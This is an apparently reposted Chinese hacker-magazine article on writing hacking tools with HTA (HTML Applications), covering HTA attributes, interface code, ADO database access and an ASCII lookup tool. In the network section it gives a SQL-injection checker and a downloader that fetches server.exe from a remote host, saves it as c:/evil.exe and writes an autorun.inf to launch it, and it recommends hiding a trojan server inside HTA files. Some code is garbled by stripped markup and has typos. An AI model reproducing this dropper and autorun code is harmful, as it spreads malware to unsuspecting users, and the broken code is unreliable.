HTA写黑软

导读:
  早在《VBS写黑软》完成之后就打算写这篇续文了,可一直被一大堆事情烦着。三个月前,奶奶走了,整理遗物时发现了一袋没有开封的黑芝麻糊,那是我用《VBS写黑软》的稿费买给奶奶的。唉,老太太就是这样,什么都舍不得。所以在这里想对我的同龄人说一句:树欲静而风不止,子欲养而亲不在。千万不要吝惜你的孝心,哪怕只是能让老人开心的一笑,也要尽力去做。谨以此文纪念我的奶奶——郭秀荣。
  有点扯远了,回到正题中。可能很多人还不知道HTA是什么东西,我先来解释一下。
  HTA是HyperText Application的缩写,支持HTML中的绝大多数标签、脚本,并且比HTML多了HTA:Application标签,这个标签提供了一系列面向应用程序的功能,它的各种属性如下:
  APPLICATIONNAME属性(applicationName):设置HTA的名称。
  BORDER属性(border):设置为HTA的窗口边框类型,默认值为thick。它可以设为thick,指定窗口为粗边框;dialog window,指定窗口为对话框;none,指定窗口无边框;thin,指定窗口为窄边框。
  BORDERSTYLE属性(borderStyle):设置HTA窗口的边框格式,默认值为 normal。它可以设为normal,普通边框格式;complex,凹凸格式组合边框;raised,凸出的3D边框;static 3,边框格式;sunken,凹进的3D边框。
  CAPTION属性(caption):设置HTA窗口是否显示标题栏或标题,默认值为 yes。
  ICON属性(icon):设置应用程序的图标。
  MAXIMIZEBUTTON属性(maximizeButton):设置是否在HTA窗口中显示最大化按钮,默认值为yes。
  MINIMIZEBUTTON属性(minimizeButton):设置是否在HTA窗口中显示最小化按钮,默认值为yes。
  SHOWINTASKBAR属性(showInTaskBar):设置是否在任务栏中显示此应用程序,默认值为yes。
  SINGLEINSTANCE属性(singleInstance):设置是否此应用程序同时只能运行一次。此属性以APPLICATIONNAME属性作为标识,默认值为no。
  SYSMENU属性(sysMenu):设置是否在HTA窗口中显示系统菜单,默认值为yes。
  VERSION属性(version):设置应用程序的版本,默认值为空。
  WINDOWSTATE属性(windowState):设置HTA窗口的初始大小,默认值为normal。它可以设为normal,默认大小;minmize,最小化;maximize,最大化。
  以上括号中的文字是在脚本中引用的属性,在脚本中以上属性皆为只读属性。此外,在脚本中还可以使用commandLine属性来检索应用程序启动时的参数。
  对比VBS,本文仍要涉及到用户界面的创建;简单的应用,包括文件操作和网络操作;防范措施,以及自己写的小玩意儿。
  
  创建用户界面
  从感觉上来说,HTA就是一个“控件级应用程序”(姑且这么叫吧)的开发平台,这一点使得用HTA创建用户界面相当简单,不再像VBS那样先创建IE的Application,然后再一行行向其document中writeline了。由于其本质是HTML,又能完美地支持CSS,所以网页有多漂亮,HTA就可以有多漂亮。为了证实所言非虚。
  
  VB的这个界面可是要耗费掉你16K的硬盘空间啊,而这个HTA版的只有4K,其代码如下:
   标准界面
  
sysmenu=no
maximizebutton=no
icon=%systemroot%/system32/cmd.exe>  sysmenu=no
  maximizebutton=no
  icon=%systemroot%/system32/cmd.exe>
  
  
  
  <script. language=vbscript>
  sub window_onload
  w=400
  h=300
  window.resizeto w,h
  window.moveto (screen.width-w)/2,(screen.height-h)/2
  window.document.body.style.backgroundcolor="buttonface"
  window.document.body.style.borderstyle="none"
  end sub
  </script>
  
  CSS控制下的表单项就更好玩了,看一下平直风格的按钮吧!代码如下。
  
  简单应用
  《VBS写黑软》中提到了WMI,这次还得先拿WMI说事儿。写上一篇文章时我对WMI还不甚了解,所以当时不敢胡说八道(现在敢了?呵呵),后来发现微软中国站中就有一个用HTA写的WMI查询工具,把WMI介绍得清清楚楚明明白白真真切切。该工具运行时的界面如图2所示。看得出来,HTA不简单吧?
  
  1)文件操作
  文件操作其实还是FSO控件的应用,再说一遍恐怕有骗稿费之嫌,这次弄个好玩儿一点的吧,能读写数据库和二进制文件的ADO。假设database.mdb中有一张user表,表中有name段为kubau0、type段为genius的一条记录。我们为HTA中名为searchit的button表单项添加如下过程:
  sub searchit_click
  database="database.mdb"
  set conn=createobject("adodb.connection")
  strconnect="driver={microsoft access driver(*.mdb)};dbq="&database
  conn.open strconnect
  set rs=createobject("adodb.recordset")
  sql="select * from user wher name=kubau0"
  rs.open sql,conn,1,3
  msgbox "kubau0类型为"&rs("type")
  end sub
  做好后单击这个按钮,就会弹出对话框(哪扔来的西红柿?),如图3所示。
  ADO另外一个好玩的功能就是读写二进制文件,要是把木马Server端以二进制形式写在HTA中传播的话,嘿嘿,还真是隐蔽啊!
  
  2)网络操作
  网络操作自然要用到网络控件,比如WshNetwork、XML之类的,干说没意思,还是结合例子吧。
  半年前我曾用很早以前黑防上的一篇文章《自己写注入工具体验注入快感》的思路,结合XML写了一个SQL注入工具,说来惭愧,注入Localhost时成功了,实战时却怎么也不行,总提示连接失败,所以这里只把关键代码贴出来吧。
  
  function geturl(url)
  set xml=createobject("microsoft.xmlhttp")
  pageback=xml.open("get",url,false)
  xml.send()
  pageback=xml.responsebody
  geturl=pageback
  end function
  function chkpage(pageback,suckey,errkey)
  if instr(pageback,suckey)>0 then
  chkpage=true
  exit function
  end if
  if instr(pageback,errkey)>0 then
  chkpage=false
  exit function
  end if
  chkpage=false
  msgbox "关键字错误或连接错误"
  end function
  这里是利用返回报文是否包含关键字来判断是否可注入的。结合上面的ADO,我们就可以用HTA写一个简单的下载器了,其代码如下。
  
  set xml=createobjext("microsoft.xmlhttp")
  xml.open("get","http://www.target.com/server.exe",false)
  xml.send()
  set ado=createobject("adodb.stream")
  ado.mode=3
  ado.type=1
  ado.open
  ado.write(xml.responsebody)
  ado.savetofile("c:/evil.exe",2)
  set fso=createobject("scripting.filesystemobject")
  set auto=fso.createtextfile("c:/autorun.inf",true)
  auto.writeln "[autorun]"
  auto.writeln "open=evil.exe"
  用HTA加网络控件写个刷帖器什么的,应该挺好玩儿的,要是碰上验证码,个人感觉黑防2006年11期《自动发帖机,论坛和留言本的捣乱者》一文中提到的晨风论坛灌水机所采用的方法不错,就是存入数据库,这里就不详细介绍了,大家可以自己去实践一下!
  防范
  防HTA毒的方法其实就是防脚本毒的方法,因为微软要把HTA作为“控件级应用程序”的开发平台,只不过IE会对HTML中的危险脚本进行提示,而HTA不会,这也为HTA作为病毒应用提供了方便。但HTA也有弱点,因为它毕竟不是真正的可执行程序,要依赖mshta.exe解释执行,所以把mshta.exe结束掉,HTA也就Over了;并且HTA作为脚本语言,也没有API可用,这也在很大程度上限制了HTA的应用。
  自己写的小玩意儿
  在前文中,我已经提到过很多自己写的例子了,但是最用心写的注射工具却夭折了,伤心。因为最近常有人问我ASCII码的查询问题,所以在文章最后给大家提供一个查询工具,界面如图4所示,其代码如下。
   ASCII
  
sysmenu=no
maximizebutton=no
icon=%systemroot%/system32/cmd.exe>  sysmenu=no
  maximizebutton=no
  icon=%systemroot%/system32/cmd.exe>
  
  
  
  <script. language=vbscript>
  private clicktime
  sub window_onload
  w=400
  h=600
  window.resizeto w,h
  window.moveto (screen.width-w)/2,(screen.height-h)/2
  window.document.body.style.backgroundcolor="buttonface"
  window.document.body.style.borderstyle="none"
  clicktime=1
  end sub
  sub word_onclick
  if clicktime=1 then
  me.value=""
  clicktime=2
  end if
  end sub
  sub searchit_onclick
  if document.vbform.word.value<>"" then
  a=cstr(document.vbform.word.value)
  l=len(a)
  set x=result.document
  x.open
  x.writeln ""
  x.writeln "









  next
  x.writeln "
"   for i = 1 to l step 1   c = mid(a,i,1)   ac=asc(c)   if ac<0 then   tp="中"   else   tp="英"   end if   x.writeln " "
  x.writeln ""
  x.close
  end if
  end sub
  sub closewindow_onclick
  window.close
  end sub
  </script>
  
  

  
  
  

  

  

  
字符
ASCII
中/英文
  
  
. name=result width=370 height=440>

  

  

  
  

本文转自
http://blog.ixpub.net/html/32/10010632-183.html
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值